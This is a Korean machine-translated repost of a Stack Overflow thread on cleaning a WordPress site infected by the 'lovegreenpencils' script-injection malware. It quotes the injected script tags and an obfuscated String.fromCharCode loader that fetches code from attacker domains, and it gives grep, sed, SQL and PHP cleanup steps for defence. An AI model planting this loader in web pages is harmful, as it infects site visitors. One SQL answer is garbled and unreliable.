IT

바이러스에 감염된 Wordpress 웹 사이트. 백업 또는 복구 방법

itgroup 2023. 3. 29. 21:25
반응형

바이러스에 감염된 Wordpress 웹 사이트. 백업 또는 복구 방법

내 WordPress 웹 사이트가 악성 코드에 감염되었습니다.데이터 또는 백업을 복구하려면 어떻게 해야 합니까?웹 사이트에 빈 페이지가 표시되거나 일부 악의적인 URL로 리디렉션됩니다.다음 코드(및 유사한 코드)가 여러 페이지에 삽입되었습니다(다른 이름의 파일도 많이 생성되었습니다).

<script type='text/javascript' src='https://dock.lovegreenpencils.ga/m.js?n=nb5'></script>

 

<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>

감염된 웹 사이트 중 일부(경고: 방문 시 감염될 수 있음):

https://lahuriyaconstruction.com/
https://getnonveg.com/

여기도 마찬가지입니다. phpmyadmin에서 데이터베이스를 열고 SQL 상자에 다음을 입력합니다.

UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src='https://dock.lovegreenpencils.ga/m.js?n=nb5' type='text/javascript'></script>",'') WHERE post_content LIKE '%lovegreenpencils%' 

스크립트에서 모든 투고가 지워지지만 엔트리의 출처를 확인해야 합니다.

나는 5개 이상의 WordPress 웹사이트에서 이 문제에 직면했다.

모두 교체해서 고쳤습니다.dock.lovegreenpencils.ga링크에 "#"을 붙이면 아무것도 표시되지 않습니다.

1. WordPress 디렉토리 에서 이 명령을 실행합니다.

 grep -r "lovegreenpencils" .

감염된 모든 파일을 볼 수 있어야 합니다.

  1. 이 명령을 사용하여 모든 링크 바꾸기
find . -name "*.php" |xargs sed -i "s/https:\/\/dock.lovegreenpencils.ga\/m.js?n=ns1/#/g"

일치하는 모든 스크립트가 "#"로 바뀝니다.

  1. WP 콘텐츠에 추가된 스크립트 삭제
UPDATE wp_posts SET post_content = REPLACE(post_content,"<script src='https://dock.lovegreenpencils.ga/m.js?n=nb5' type='text/javascript'></script>",'') WHERE post_content LIKE '%lovegreenpencils%'

링크는 다음과 같이 끝날 수 있습니다.m.js?n=nb5또는m.js?n=ns1둘 다 빼는 거 잊지 마

갱신:

이 Milcouse 코드 또한 스크립트 URL을 생성합니다.charCode검색할 수 없게 하기 위해서.

String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115)

그것도 꼭 없애주세요.

문자 코드의 URL 생성 중

위의 절차로 웹 사이트가 다시 작동하게 되었습니다.

Wordpress 사이트를 정리하기 위해 수행할 수 있는 몇 가지 작업이 있습니다.

1- 시각적으로 확인public_htmlWordpress가 설치된 폴더입니다.루트 폴더에 이상한 파일 이름이 있을 수 있습니다.wp-includes,wp-content또는wp-admin폴더 및 하위 폴더.

2- 코드 삽입 여부 확인index.php(루트 폴더 추가) 및wp-config.php

3- Wordfence 플러그인을 설치하고 수동 검색을 수행합니다.워드프레스 설치, 플러그인 및 테마 파일을 통해 비정상적인 내용이 보고됩니다.

4- 그런 다음 Chrome Developer Tools의 네트워크 탭을 사용하여 페이지를 새로 고치고 악의적으로 보이는 URL에 대한 연결이 있는지 확인합니다.

다음은 내 사이트의 감염된 파일을 지우기 위해 만든 스크립트입니다.

도움이 됐으면 좋겠네요.이게 내가 해줄 수 있는 전부야

전술한 바와 같이 다음 SQL을 사용하여 wp_posts에서 post_content의 쓰레기도 제거해야 합니다.

UPDATE wp_content SET post_content = REPLACE (post_contents ' , ' ) WHERE post_content LIKE 'green pencils % '

wp_home 아래에 있는 siteurl/home 옵션의 도메인 URL에 다시 추가합니다.

다음 코드를 php 파일에 저장하고 설정을 변경하여 시스템에서 작동합니다.

<?php

error_reporting(E_ALL);
ini_set('display_errors', 1);
ini_set('memory_limit',"256M");

ob_implicit_flush(1);

ob_start();

$backup_dir = "/var/badfiles";
$html_dir = "/var/www";

if(!is_dir($backup_dir)) mkdir($backup_dir);

$dir_iterator = new RecursiveDirectoryIterator($html_dir);
$iterator = new RecursiveIteratorIterator($dir_iterator, RecursiveIteratorIterator::SELF_FIRST);

foreach ($iterator as $file) {
   if($file == __FILE__) continue;

   if (pathinfo($file, PATHINFO_FILENAME) == "wp-beckup") {
    backup_file($file);
    if(unlink($file)) {
       echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
    }
   }

   if (pathinfo($file, PATHINFO_FILENAME) == "lte_") {
        backup_file($file);
        if(unlink($file)) {
           echo "[LGP Found]: Removed and Backed Up ({$file})<br>";
        }
   }

$bad_text = "<script type=text/javascript> Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();</script>";
if (pathinfo($file, PATHINFO_EXTENSION) == "php" ) {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
}

   if (pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "html") {
    $bad_text = "<script type='text/javascript' src='https://dock.lovegreenpencils.ga/m.js?n=nb5'></script>";
    $contents = file_get_contents($file);

    if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

        $contents = str_replace($bad_text, '', $contents);

        file_put_contents($file, $contents);

        echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
    }
   }

  $bad_text = "Element.prototype.appendAfter = function(element) {element.parentNode.insertBefore(this, element.nextSibling);}, false;(function() { var elem = document.createElement(String.fromCharCode(115,99,114,105,112,116)); elem.type = String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116); elem.src = String.fromCharCode(104,116,116,112,115,58,47,47,100,111,99,107,46,108,111,118,101,103,114,101,101,110,112,101,110,99,105,108,115,46,103,97,47,109,46,106,115);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(115,99,114,105,112,116))[0]);elem.appendAfter(document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0]);document.getElementsByTagName(String.fromCharCode(104,101,97,100))[0].appendChild(elem);})();";
   if (pathinfo($file, PATHINFO_EXTENSION) == "jshintrc" || pathinfo($file, PATHINFO_EXTENSION) == "map" || pathinfo($file, PATHINFO_EXTENSION) == "jsx" || pathinfo($file, PATHINFO_EXTENSION) == "php" || pathinfo($file, PATHINFO_EXTENSION) == "js" || pathinfo($file, PATHINFO_EXTENSION) == "gz" || pathinfo($file, PATHINFO_EXTENSION) == "json") {
        $contents = file_get_contents($file);

        if(strpos($contents, $bad_text) !== false) {

            backup_file($file);

            $contents = str_replace($bad_text, '', $contents);

            file_put_contents($file, $contents);

            echo "[LGP Found]: Code Removed and Backed Up ({$file})<br>";
        }
   }






   if (pathinfo($file, PATHINFO_FILENAME) == "wp-blog-header" && pathinfo($file, PATHINFO_EXTENSION) == "php") {
      $contents = file_get_contents($file);

      if(strpos($contents, 'MDIzMjU4YmJlYjdjZTk1NWE2OTBkY2EwNTZiZTg4NWQ=') !== false) {
        backup_file($file);

    $contents = substr($contents, strpos($contents, "cGFnZV9ub3RfZm91bmRfNDA0")+32);

    file_put_contents($file, $contents);
        echo "[VCD Found]: Code Removed and Backed Up ({$file})<br>";
      }
   }

}

function backup_file($file) {
    global $backup_dir;

    $contents = file_get_contents($file);
        if(!is_dir(dirname($backup_dir.$file))) {
       mkdir(dirname($backup_dir.$file),0777,true);
    }
file_put_contents($backup_dir.$file, $contents);
}

백업 잊지 마세요!!

이 악성 프로그램이 발견되어 이를 치료하기 위한 스크립트를 작성했습니다.다음은 링크입니다.https://gist.github.com/black-dragon74/86fc18a91e814019228c02531f0ea01c

DB ge 、 regex 。 그냥요.perl -pi.bak -e "s/<script[\s\S]*?>[\s\S]*?<\/script>//g" infected_db.sql

또, 악의적으로 삽입하고 있는 URL을 알게 되면, 가르쳐 주세요.그것을 포함하도록 스크립트를 갱신하겠습니다.

안부 전해요

의 모든 를 post_content의 post_content에서 .wp_post ★★★★★★★★★★★★★★★★★」your table name모두와 교환할 수 있습니다.

UPDATE wplm_posts SET post_content = REPLACE(post_content,"{{{WITHOUT BRACKET -- Your code here that is in Column Post_content}}}",'') WHERE post_content LIKE '%lovegreenpencils%' 

내 경우 암호는post_content을 사용하다

<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script><script src='https://trend.linetoadsactive.com/m.js?n=ns1' type='text/javascript'></script><script src='https://start.transandfiestas.ga/m.js?n=ns1' type='text/javascript'></script>

이 코드는 나에게 효과가 있다.

UPDATE wplm_posts SET post_content = REPLACE(post_content,"<script src='https://port.lovegreenpencils.ga/m.js?n=ns1' type='text/javascript'></script><script src='https://trend.linetoadsactive.com/m.js?n=ns1' type='text/javascript'></script><script src='https://start.transandfiestas.ga/m.js?n=ns1' type='text/javascript'></script>",'') WHERE post_content LIKE '%lovegreenpencils%' 

언급URL : https://stackoverflow.com/questions/64907298/wordpress-website-infected-by-virus-how-to-backup-or-recover

반응형